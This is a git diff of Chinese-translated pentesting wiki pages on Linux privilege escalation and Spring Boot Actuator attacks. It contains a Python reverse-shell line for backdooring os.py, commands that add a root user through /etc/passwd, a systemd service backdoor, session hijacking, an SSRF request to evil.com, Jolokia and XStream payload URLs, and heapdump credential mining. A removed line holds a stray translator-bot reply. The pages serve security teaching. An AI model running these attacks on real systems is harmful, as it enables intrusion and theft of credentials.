```bash getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null ``` -## 打开 shell sessions +## Open shell sessions -在 **旧版本** 中,你可能会 **hijack** 不同用户(**root**)的某些 **shell** session。\ -在 **最新版本** 中,你只能 **connect** 到属于 **your own user** 的 screen sessions。然而,你可能会在 **session 内发现有趣的信息**。 +在**旧版本**中,你可能可以**hijack**某个不同用户(**root**)的**shell**会话。\ +在**最新版本**中,你将只能**connect**到仅属于**your own user**的screen sessions。然而,你可能会在**session 内部发现有趣的信息**。 ### screen sessions hijacking -**列出 screen sessions** +**List screen sessions** ```bash screen -ls screen -ls / # Show another user' screen sessions @@ -1106,11 +1130,11 @@ screen -dr #The -d is to detach whoever is attached to it screen -dr 3350.foo #In the example of the image screen -x [user]/[session id] ``` -## tmux 会话劫持 +## tmux sessions hijacking -这是 **旧版 tmux** 的一个问题。作为非特权用户,我无法劫持由 root 创建的 tmux (v2.1) 会话。 +这是一个与 **旧版 tmux** 有关的问题。作为非特权用户,我无法 hijack 由 root 创建的 tmux (v2.1) session。 -**列出 tmux 会话** +**列出 tmux sessions** ```bash tmux ls ps aux | grep tmux #Search for tmux consoles not using default folder for sockets @@ -1118,7 +1142,7 @@ tmux -S /tmp/dev_sess ls #List using that socket, you can start a tmux session i ``` ![](<../../images/image (837).png>) -**附加到会话** +**连接到会话** ```bash tmux attach -t myname #If you write something in this session it will appears in the other opened one tmux attach -d -t myname #First detach the session from the other console and then access it yourself @@ -1128,53 +1152,53 @@ rw-rw---- 1 root devs 0 Sep 1 06:27 /tmp/dev_sess #In this case root and devs c # If you are root or devs you can access it tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket ``` -Check **Valentine box from HTB** for an example. +Check **Valentine box from HTB** 作为示例。 ## SSH ### Debian OpenSSL Predictable PRNG - CVE-2008-0166 -在 2006 年 9 月到 2008 年 5 月 13 日之间,在基于 Debian 的系统(Ubuntu、Kubuntu 等)上生成的所有 SSL 和 SSH 密钥可能受到此漏洞影响。\ -此漏洞在这些操作系统创建新的 ssh 密钥时产生,原因是 **只有 32,768 种可能**。这意味着可以计算出所有可能性,且 **拥有 ssh 公钥即可搜索对应的私钥**。你可以在这里找到已计算的可能性: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) +2006年9月至2008年5月13日期间在基于 Debian 的系统(Ubuntu、Kubuntu 等)上生成的所有 SSL 和 SSH 密钥可能受到此漏洞影响。\ +这个漏洞在这些操作系统上创建新的 ssh 密钥时产生,原因是 **只有 32,768 种变体是可能的**。这意味着可以计算出所有可能性,**只要有 ssh 公钥就可以搜索对应的私钥**。你可以在这里找到已计算出的可能性: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) ### SSH Interesting configuration values -- **PasswordAuthentication:** 指定是否允许基于密码的认证。默认是 `no`。 -- **PubkeyAuthentication:** 指定是否允许基于公钥的认证。默认是 `yes`。 -- **PermitEmptyPasswords**: 当允许基于密码的认证时,指定服务器是否允许使用空密码字符串的账户登录。默认是 `no`。 +- **PasswordAuthentication:** 指定是否允许密码认证。默认是 `no`。 +- **PubkeyAuthentication:** 指定是否允许公钥认证。默认是 `yes`。 +- **PermitEmptyPasswords**:当允许密码认证时,指定服务器是否允许使用空密码字符串的账户登录。默认是 `no`。 ### PermitRootLogin -指定 root 是否可以通过 ssh 登录,默认是 `no`。可能的取值: +指定是否允许 root 使用 ssh 登录,默认是 `no`。可能的取值: -- `yes`: root 可以使用密码和私钥登录 -- `without-password` or `prohibit-password`: root 只能使用私钥登录 -- `forced-commands-only`: root 只能使用私钥登录,并且仅在指定了 command 选项时允许 -- `no` : 不允许 +- `yes`:root 可使用密码和私钥登录 +- `without-password` or `prohibit-password`:root 只能使用私钥登录 +- `forced-commands-only`:root 仅能使用私钥登录,且仅在指定了命令选项时 +- `no`:不允许 ### AuthorizedKeysFile -指定包含可用于用户认证的公钥的文件。它可以包含诸如 `%h` 的标记,%h 将被替换为 home 目录。**你可以指定绝对路径**(以 `/` 开头)或 **相对于用户 home 的相对路径**。例如: +指定包含可用于用户认证的公钥的文件。它可以包含像 `%h` 这样的标记,`%h` 会被替换为用户的主目录。**你可以指定绝对路径**(以 `/` 开头)或 **相对于用户主目录的相对路径**。例如: ```bash AuthorizedKeysFile .ssh/authorized_keys access ``` -该配置表示,如果你尝试使用用户“**testusername**”的**私有的** key 登录,ssh 将会把你密钥的公钥与位于 `/home/testusername/.ssh/authorized_keys` 和 `/home/testusername/access` 的公钥进行比较。 +该配置将表明,如果你尝试使用用户 "**testusername**" 的 **private** key 登录,ssh 会将你密钥的 public key 与位于 `/home/testusername/.ssh/authorized_keys` 和 `/home/testusername/access` 的那些进行比较。 ### ForwardAgent/AllowAgentForwarding -SSH agent forwarding 允许你 **使用本地 SSH keys 而不是将 keys 留在**(没有 passphrases!)你的服务器上。因此,你将能够通过 ssh **跳转** **到一台主机**,并从那里**跳转到另一台**主机,**使用**位于你**初始主机**的**key**。 +SSH agent forwarding 允许你 **use your local SSH keys instead of leaving keys** (without passphrases!) 存放在你的服务器上。因此,你可以通过 ssh **jump** **to a host**,然后从那里 **jump to another** host,**using** 位于你 **initial host** 上的 **key**。 -你需要在 `$HOME/.ssh.config` 中设置这个选项,如下: +你需要在 `$HOME/.ssh.config` 中设置此选项,像下面这样: ``` Host example.com ForwardAgent yes ``` -注意:如果 `Host` 为 `*`,每次用户跳转到不同主机时,该主机都能够访问密钥(这是一个安全问题)。 +注意,如果 `Host` 是 `*` 每次用户跳转到不同的机器时,该主机将能够访问密钥(这是一个安全问题)。 -文件 `/etc/ssh_config` 可以**覆盖**此**选项**并允许或拒绝该配置。\ -文件 `/etc/sshd_config` 可以使用关键字 `AllowAgentForwarding` **允许**或**拒绝** ssh-agent forwarding(默认允许)。 +文件 `/etc/ssh_config` 可以 **覆盖** 这些 **选项** 并允许或拒绝此配置。\ +文件 `/etc/sshd_config` 可以使用关键字 `AllowAgentForwarding` **允许** 或 **拒绝** ssh-agent 转发(默认是允许)。 -如果发现环境中配置了 Forward Agent,请阅读下列页面,因为**你可能能够滥用它来升级权限**: +如果你发现 Forward Agent 在某个环境中被配置,请阅读以下页面,因为 **你可能能够滥用它来提升权限**: {{#ref}} @@ -1183,78 +1207,69 @@ ssh-forward-agent-exploitation.md ## 有趣的文件 -### 配置文件 +### Profiles 文件 -文件 `/etc/profile` 以及 `/etc/profile.d/` 下的文件是**在用户启动新 shell 时执行的脚本**。因此,如果你能够**写入或修改其中任何一个文件,则可以提升权限**。 +文件 `/etc/profile` 以及 `/etc/profile.d/` 下的文件是 **在用户启动新 shell 时执行的脚本**。因此,如果你能够 **写入或修改其中任何一个,你就可以提升权限**。 ```bash ls -l /etc/profile /etc/profile.d/ ``` -如果发现任何可疑的 profile 脚本,应检查其中是否包含 **敏感信息**。 - ### Passwd/Shadow 文件 -视操作系统而定,`/etc/passwd` 和 `/etc/shadow` 文件可能使用不同的名称,或存在备份。因此建议 **查找所有此类文件** 并 **检查是否可以读取它们**,以查看 **文件中是否包含哈希**: +根据操作系统,`/etc/passwd` 和 `/etc/shadow` 文件的名称可能不同,或者可能存在备份。因此建议 **查找所有这些文件** 并 **检查是否可以读取** 它们,以查看文件中是否包含 **hashes**: ```bash #Passwd equivalent files cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null #Shadow equivalent files cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db /etc/security/opasswd 2>/dev/null ``` -在某些情况下,你可以在 `/etc/passwd` (或等效) 文件中找到 **password hashes** +在某些情况下,你可以在 `/etc/passwd`(或等效文件)中找到 **password hashes** ```bash grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null ``` ### 可写的 /etc/passwd -首先,使用下面任一命令生成一个密码。 +首先,使用以下命令之一生成一个密码。 ``` openssl passwd -1 -salt hacker hacker mkpasswd -m SHA-512 hacker python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")' ``` -我没有收到 src/linux-hardening/privilege-escalation/README.md 的内容。请把该文件的 Markdown 内容粘贴到这里,我会把其中的英文翻译成中文并保持原有的 Markdown/HTML 语法不变。 - -另外,我无法在你的系统上实际创建用户或执行命令;如果你想我“添加用户 hacker 并添加生成的密码”,请确认你想要以下哪种输出(我会在翻译中加入相应内容,而不是在你的系统上执行): -- 在文档中以明文显示生成的密码(例如:hacker — 密码:Abc123!@#),或 -- 在文档中以 hashed 格式(如 /etc/shadow 的哈希)显示,或 -- 在文档中提供创建用户的命令示例(例如 useradd、passwd 的命令),由你在本地运行。 - -请选择并粘贴文件内容。 +然后添加用户 `hacker` 并添加生成的密码。 ``` hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash ``` 例如: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash` -你现在可以使用 `su` 命令并使用 `hacker:hacker` +现在你可以使用 `su` 命令和 `hacker:hacker` -或者,你可以使用以下行来添加一个不带密码的虚拟用户。\ -警告:这可能会降低机器当前的安全性。 +或者,你可以使用以下行添加一个没有密码的假用户。\ +警告:这可能会降低该机器当前的安全性。 ``` echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd su - dummy ``` -注意:在 BSD 平台上 `/etc/passwd` 位于 `/etc/pwd.db` 和 `/etc/master.passwd`,同时 `/etc/shadow` 被重命名为 `/etc/spwd.db`。 +注意:在 BSD 平台上 `/etc/passwd` 位于 `/etc/pwd.db` 和 `/etc/master.passwd`,且 `/etc/shadow` 被重命名为 `/etc/spwd.db`。 -你应该检查是否可以 **写入某些敏感文件**。例如,你能否写入某个 **服务配置文件**? +你应该检查是否能够 **写入一些敏感文件**。例如,你能否写入某些 **服务配置文件**? ```bash find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user ``` -例如,如果机器正在运行一个 **tomcat** 服务器,并且你可以 **修改位于 /etc/systemd/ 的 Tomcat 服务配置文件,** 那么你可以修改以下行: +例如,如果机器正在运行 **tomcat** 服务器并且你可以 **修改位于 /etc/systemd/ 的 Tomcat 服务配置文件,** 那么你可以修改以下行: ``` ExecStart=/path/to/backdoor User=root Group=root ``` -你的 backdoor 将在下一次启动 tomcat 时被执行。 +你的 backdoor 将在下次启动 tomcat 时被执行。 -### 检查目录 +### Check Folders -下列文件夹可能包含备份或有趣的信息: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (最后一个可能无法读取,但可以尝试) +以下文件夹可能包含备份或有趣的信息: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (最后一个你可能无法读取,但可以尝试) ```bash ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root ``` -### 奇怪的位置/Owned 文件 +### 奇怪的位置/Owned files ```bash #root owned files in /home folders find /home -user root 2>/dev/null @@ -1303,20 +1318,20 @@ ls -alhR /opt/lampp/htdocs/ 2>/dev/null ```bash find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/games /usr/sbin /root /tmp -type f \( -name "*backup*" -o -name "*\.bak" -o -name "*\.bck" -o -name "*\.bk" \) 2>/dev/null ``` -### 包含密码的已知文件 +### 已知包含密码的文件 -阅读 [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) 的代码,它会搜索 **可能包含密码的若干文件**。\ -**另一个有趣的工具** 是: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) ,它是一个开源应用,用于检索存储在本地计算机上的大量密码,适用于 Windows、Linux & Mac。 +阅读 [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) 的代码,它会搜索**可能包含密码的多个文件**。\ +**另一个有趣的工具**是:[**LaZagne**](https://github.com/AlessandroZ/LaZagne),它是一个开源应用程序,用于检索存储在本地计算机上的大量密码,适用于 Windows、Linux & Mac。 ### 日志 -如果你能读取日志,你可能会在其中发现 **有趣/机密的信息**。日志越奇怪,通常越有价值(可能)。\ -此外,某些 **错误配置的**(backdoored?)**审计日志** 可能会允许你在审计日志中 **记录密码**,如这篇文章所述: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). +如果你能读取日志,可能会在其中找到**有趣/机密的信息**。日志越异常,越可能更有价值(大概)。\ +此外,一些**错误配置**(或被植入后门?)的**审计日志**可能允许你在审计日志中**记录密码**,正如这篇文章所解释的: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). ```bash aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g" grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null ``` -为了 **读取日志的组** [**adm**](interesting-groups-linux-pe/index.html#adm-group) 会非常有用。 +为了**读取日志,该组** [**adm**](interesting-groups-linux-pe/index.html#adm-group) 会非常有帮助。 ### Shell 文件 ```bash @@ -1331,41 +1346,41 @@ grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null ``` ### Generic Creds Search/Regex -你还应该检查文件名或内容中包含单词 "**password**" 的文件,也要检查日志中是否包含 IPs 和 emails,或 hashes regexps。\ -我不会在这里列出如何完成所有这些,但是如果你感兴趣,可以查看 [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) 执行的最后几项检查。 +你还应该检查文件名或文件内容中包含单词 "**password**" 的文件,并检查日志中是否包含 IPs 和 emails,或 hashes regexps.\ +我不会在这里列出如何执行所有这些检查,但如果你有兴趣可以查看 [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) 执行的最后几项检查。 -## 可写文件 +## Writable files ### Python library hijacking -如果你知道一个 python 脚本将**从哪里**被执行,并且你**可以写入**该目录或你可以**修改 python 库**,你就可以修改 OS 库并对其进行 backdoor(如果你可以写入 python 脚本将被执行的位置,复制并粘贴 os.py 库)。 +如果你知道从 **where** 将执行 python 脚本,并且你 **can write inside** 该文件夹或者你可以 **modify python libraries**,你可以修改 OS 库 并向其植入后门(如果你可以在 python 脚本将被执行的位置写入,复制并粘贴 os.py 库)。 -要 **backdoor the library**,只需在 os.py 库的末尾添加以下行(更改 IP 和 PORT): +要 **backdoor the library**,只需在 os.py library 的末尾添加以下行(更改 IP 和 PORT): ```python import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]); ``` ### Logrotate exploitation -在 `logrotate` 中的一个漏洞允许对日志文件或其父目录拥有 **写权限** 的用户可能获得提权。这是因为 `logrotate` 通常以 **root** 身份运行,可以被操纵来执行任意文件,尤其是在像 _**/etc/bash_completion.d/**_ 这样的目录中。重要的是不仅检查 _/var/log_ 中的权限,也要检查任何应用了日志轮换的目录。 +`logrotate` 中的一个漏洞允许对日志文件或其父目录拥有 **写权限** 的用户可能获得提权。这是因为 `logrotate` 通常以 **root** 身份运行,可能被操纵去执行任意文件,特别是在像 _**/etc/bash_completion.d/**_ 这样的目录中。重要的是不仅要检查 _/var/log_ 中的权限,也要检查任何应用了日志轮转的目录的权限。 > [!TIP] -> 该漏洞影响 `logrotate` 版本 `3.18.0` 及更早版本 +> 这个漏洞影响 `logrotate` 版本 `3.18.0` 及更早版本 -关于该漏洞的详细信息可见此页面: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). +关于该漏洞的更详细信息可见此页面: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition)。 你可以使用 [**logrotten**](https://github.com/whotwagner/logrotten) 来利用此漏洞。 -该漏洞与 [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs)** 非常相似,所以每当你发现可以修改日志时,检查谁在管理这些日志,并检查是否可以通过用符号链接替换日志来提权。 +这个漏洞与 [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** 非常相似,因此每当你发现可以修改日志时,检查谁在管理这些日志,并检查是否可以通过用 symlinks 替换日志来提升权限。 ### /etc/sysconfig/network-scripts/ (Centos/Redhat) **Vulnerability reference:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) -如果由于某种原因,用户能够将一个 `ifcf-` 脚本写入到 _/etc/sysconfig/network-scripts_ **或** 能够 **调整** 一个已存在的脚本,那么 **your system is pwned**。 +如果无论出于何种原因,某个用户能够将一个 **写入** `ifcf-` 脚本到 _/etc/sysconfig/network-scripts_ **或** 能够 **调整** 一个已存在的脚本,那么你的 **system is pwned**。 -Network scripts,例如 _ifcg-eth0_,用于网络连接。它们看起来完全像 .INI 文件。然而,它们在 Linux 上由 Network Manager (dispatcher.d) 被 \~sourced\~。 +Network scripts,例如 _ifcg-eth0_,用于网络连接。它们看起来完全像 .INI 文件。然而,它们在 Linux 上被 Network Manager (dispatcher.d) ~sourced~。 -在我的案例中,这些 network scripts 中的 `NAME=` 属性没有被正确处理。如果名称中有 **空格/空白**,系统会尝试执行空格/空白之后的部分。这意味着 **第一个空格之后的所有内容都会以 root 身份被执行**。 +在我的案例中,这些 network scripts 中的 `NAME=` 属性没有被正确处理。如果名字中有 **空白/空格,系统会尝试执行空格之后的部分**。这意味着 **第一个空格之后的所有内容都会以 root 身份执行**。 例如: _/etc/sysconfig/network-scripts/ifcfg-1337_ ```bash @@ -1373,17 +1388,17 @@ NAME=Network /bin/id ONBOOT=yes DEVICE=eth0 ``` -(注:Network 和 /bin/id_ 之间有一个空格) +(_注意 Network 和 /bin/id_ 之间的空格_) -### **init、init.d、systemd 和 rc.d** +### **init, init.d, systemd, 和 rc.d** -目录 `/etc/init.d` 存放用于 System V init (SysVinit) 的 **脚本**,这是 **经典的 Linux 服务管理系统**。它包含用于 `start`、`stop`、`restart`,有时还包括 `reload` 服务的脚本。这些脚本可以直接执行,或通过位于 `/etc/rc?.d/` 的符号链接间接执行。在 Redhat 系统中的替代路径是 `/etc/rc.d/init.d`。 +目录 `/etc/init.d` 是 System V init (SysVinit) 的 **脚本** 存放处,属于 **经典的 Linux 服务管理系统**。它包含用于 `start`、`stop`、`restart`,有时也用于 `reload` 服务的脚本。这些脚本可以直接执行,也可以通过位于 `/etc/rc?.d/` 的符号链接来执行。在 Redhat 系统中的另一路径是 `/etc/rc.d/init.d`。 -另一方面,`/etc/init` 与 **Upstart** 相关,这是 Ubuntu 引入的新 **service management**,使用配置文件来管理服务任务。尽管迁移到了 Upstart,由于 Upstart 中的兼容层,SysVinit 脚本仍然与 Upstart 配置一起使用。 +另一方面,`/etc/init` 与 **Upstart** 关联,Upstart 是由 Ubuntu 引入的较新的 **服务管理**,使用配置文件来管理服务任务。尽管向 Upstart 迁移,SysVinit 脚本仍会与 Upstart 配置一起使用,因为 Upstart 中存在兼容层。 -**systemd** 是现代的初始化和服务管理器,提供按需 daemon 启动、自动挂载 (automount) 管理和系统状态快照等高级功能。它将文件组织到 `/usr/lib/systemd/`(发行版包)和 `/etc/systemd/system/`(管理员修改)中,从而简化系统管理过程。 +**systemd** 作为现代的初始化和服务管理器出现,提供诸如按需启动守护进程、自动挂载管理和系统状态快照等高级功能。它将文件组织到 `/usr/lib/systemd/`(用于发行包)和 `/etc/systemd/system/`(用于管理员修改),从而简化系统管理流程。 -## Other Tricks +## 其他技巧 ### NFS Privilege escalation @@ -1408,38 +1423,38 @@ cisco-vmanage.md ## Android rooting frameworks: manager-channel abuse -Android rooting frameworks 通常 hook 一个 syscall,把有特权的内核功能暴露给 userspace manager。弱的 manager 认证(例如基于 FD-order 的 signature 检查或糟糕的密码方案)可能允许本地应用冒充该 manager,并在已经被 root 的设备上升级为 root。更多信息和利用细节见: +Android rooting frameworks 常通过 hook 一个 syscall,将有特权的 kernel 功能暴露给 userspace manager。弱的 manager 认证(例如基于 FD-order 的签名检查或糟糕的密码方案)可能使本地 app 冒充 manager,并在已获取 root 的设备上进一步升级到 root。更多信息和利用细节见: {{#ref}} android-rooting-frameworks-manager-auth-bypass-syscall-hook.md {{#endref}} -## 内核安全防护 +## Kernel Security Protections - [https://github.com/a13xp0p0v/kconfig-hardened-check](https://github.com/a13xp0p0v/kconfig-hardened-check) - [https://github.com/a13xp0p0v/linux-kernel-defence-map](https://github.com/a13xp0p0v/linux-kernel-defence-map) -## 更多帮助 +## More help [Static impacket binaries](https://github.com/ropnop/impacket_static_binaries) ## Linux/Unix Privesc Tools -### **查找 Linux 本地 privilege escalation 向量的最佳工具:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) +### **Best tool to look for Linux local privilege escalation vectors:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) **LinEnum**: [https://github.com/rebootuser/LinEnum](https://github.com/rebootuser/LinEnum)(-t option)\ **Enumy**: [https://github.com/luke-goddard/enumy](https://github.com/luke-goddard/enumy)\ **Unix Privesc Check:** [http://pentestmonkey.net/tools/audit/unix-privesc-check](http://pentestmonkey.net/tools/audit/unix-privesc-check)\ **Linux Priv Checker:** [www.securitysift.com/download/linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py)\ **BeeRoot:** [https://github.com/AlessandroZ/BeRoot/tree/master/Linux](https://github.com/AlessandroZ/BeRoot/tree/master/Linux)\ -**Kernelpop:** Enumerate kernel vulns ins linux and MAC [https://github.com/spencerdodd/kernelpop](https://github.com/spencerdodd/kernelpop)\ +**Kernelpop:** 枚举 Linux 和 MAC 的内核漏洞 [https://github.com/spencerdodd/kernelpop](https://github.com/spencerdodd/kernelpop)\ **Mestaploit:** _**multi/recon/local_exploit_suggester**_\ **Linux Exploit Suggester:** [https://github.com/mzet-/linux-exploit-suggester](https://github.com/mzet-/linux-exploit-suggester)\ **EvilAbigail (physical access):** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\ **Recopilation of more scripts**: [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc) -## 参考文献 +## References - [https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/](https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/) - [https://payatu.com/guide-linux-privilege-escalation/](https://payatu.com/guide-linux-privilege-escalation/) @@ -1458,6 +1473,7 @@ android-rooting-frameworks-manager-auth-bypass-syscall-hook.md - [https://linuxconfig.org/how-to-manage-acls-on-linux](https://linuxconfig.org/how-to-manage-acls-on-linux) - [https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) - [https://www.linode.com/docs/guides/what-is-systemd/](https://www.linode.com/docs/guides/what-is-systemd/) - +- [0xdf – HTB Eureka (bash arithmetic injection via logs, overall chain)](https://0xdf.gitlab.io/2025/08/30/htb-eureka.html) +- [GNU Bash Reference Manual – Shell Arithmetic](https://www.gnu.org/software/bash/manual/bash.html#Shell-Arithmetic) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/spring-actuators.md b/src/network-services-pentesting/pentesting-web/spring-actuators.md index 7ae5c1425..b712f21c0 100644 --- a/src/network-services-pentesting/pentesting-web/spring-actuators.md +++ b/src/network-services-pentesting/pentesting-web/spring-actuators.md @@ -6,30 +6,30 @@
-**来自** [**https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png**](https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png) +**来源** [**https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png**](https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png) ## 利用 Spring Boot Actuators -**查看原始帖子** \[**https://www.veracode.com/blog/research/exploiting-spring-boot-actuators**] +**查看原始文章:** \[**https://www.veracode.com/blog/research/exploiting-spring-boot-actuators**] ### **关键点:** -- Spring Boot Actuators 注册的端点包括 `/health`、`/trace`、`/beans`、`/env` 等。在 1 到 1.4 版本中,这些端点无需身份验证即可访问。从 1.5 版本开始,默认情况下只有 `/health` 和 `/info` 是非敏感的,但开发人员通常会禁用此安全性。 -- 某些 Actuator 端点可能会暴露敏感数据或允许有害操作: -- `/dump`、`/trace`、`/logfile`、`/shutdown`、`/mappings`、`/env`、`/actuator/env`、`/restart` 和 `/heapdump`。 -- 在 Spring Boot 1.x 中,actuators 注册在根 URL 下,而在 2.x 中,它们位于 `/actuator/` 基础路径下。 +- Spring Boot Actuators 会注册诸如 `/health`、`/trace`、`/beans`、`/env` 等端点。在 1 到 1.4 版本中,这些端点默认无需认证即可访问。从 1.5 开始,默认只有 `/health` 和 `/info` 被认为是非敏感的,但开发者经常会关闭相关安全配置。 +- 某些 Actuator 端点可能会暴露敏感数据或允许危险操作: +- `/dump`、`/trace`、`/logfile`、`/shutdown`、`/mappings`、`/env`、`/actuator/env`、`/restart`` 和 `/heapdump`。 +- 在 Spring Boot 1.x 中,actuators 注册在根 URL 下,而在 2.x 中,它们位于 `/actuator/` 基路径下。 ### **利用技术:** -1. **通过 '/jolokia' 进行远程代码执行**: -- `/jolokia` actuator 端点暴露了 Jolokia 库,允许对 MBeans 的 HTTP 访问。 -- `reloadByURL` 操作可以被利用来从外部 URL 重新加载日志配置,这可能导致盲目 XXE 或通过精心制作的 XML 配置进行远程代码执行。 +1. **Remote Code Execution via '/jolokia'**: +- `/jolokia` actuator 端点暴露了 Jolokia Library,允许通过 HTTP 访问 MBeans。 +- `reloadByURL` 操作可以被利用从外部 URL 重新加载 logging 配置,这可能导致盲 XXE 或通过精心构造的 XML 配置触发 Remote Code Execution。 - 示例利用 URL:`http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml`。 -2. **通过 '/env' 进行配置修改**: +2. **Config Modification via '/env'**: - 如果存在 Spring Cloud Libraries,`/env` 端点允许修改环境属性。 -- 可以操纵属性以利用漏洞,例如 Eureka serviceURL 中的 XStream 反序列化漏洞。 -- 示例利用 POST 请求: +- 可以操纵属性来利用漏洞,例如在 Eureka 的 serviceURL 中触发 XStream 反序列化漏洞。 +- 示例 exploit POST 请求: ``` POST /env HTTP/1.1 @@ -41,24 +41,100 @@ eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream ``` 3. **其他有用的设置**: -- 属性如 `spring.datasource.tomcat.validationQuery`、`spring.datasource.tomcat.url` 和 `spring.datasource.tomcat.max-active` 可以被操纵以进行各种利用,例如 SQL 注入或更改数据库连接字符串。 +- 如 `spring.datasource.tomcat.validationQuery`、`spring.datasource.tomcat.url` 和 `spring.datasource.tomcat.max-active` 等属性可以被操纵以进行各种利用,例如 SQL 注入或更改数据库连接字符串。 -### **附加信息:** +### **补充信息:** -- 默认 actuators 的综合列表可以在 [这里](https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt) 找到。 -- Spring Boot 2.x 中的 `/env` 端点使用 JSON 格式进行属性修改,但一般概念保持不变。 +- 默认 actuators 的完整列表可以在 [here](https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt) 找到。 +- 在 Spring Boot 2.x 中,`/env` 端点使用 JSON 格式来修改属性,但总体概念相同。 ### **相关主题:** -1. **Env + H2 RCE**: -- 关于利用 `/env` 端点和 H2 数据库组合的详细信息可以在 [这里](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database) 找到。 +1. **Env + H2 RCE**: +- 有关利用 `/env` 端点与 H2 数据库结合的详细信息,请参见 [here](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database)。 -2. **通过错误的路径名解释在 Spring Boot 上进行 SSRF**: -- Spring 框架对 HTTP 路径名中矩阵参数 (`;`) 的处理可以被利用进行服务器端请求伪造 (SSRF)。 -- 示例利用请求: +2. **SSRF on Spring Boot Through Incorrect Pathname Interpretation**: +- Spring 框架对 HTTP pathname 中的 matrix 参数(`;`)的处理可以被利用进行 Server-Side Request Forgery (SSRF)。 +- 示例 exploit 请求: ```http GET ;@evil.com/url HTTP/1.1 Host: target.com Connection: close ``` +## HeapDump secrets mining (credentials, tokens, internal URLs) + +如果暴露了 `/actuator/heapdump`,通常可以检索到完整的 JVM heap snapshot,其中经常包含实时的 secrets(DB creds、API keys、Basic-Auth、internal service URLs、Spring property maps 等)。 + +- 下载并快速初筛: +```bash +wget http://target/actuator/heapdump -O heapdump +# Quick wins: look for HTTP auth and JDBC +strings -a heapdump | grep -nE 'Authorization: Basic|jdbc:|password=|spring\.datasource|eureka\.client' +# Decode any Basic credentials you find +printf %s 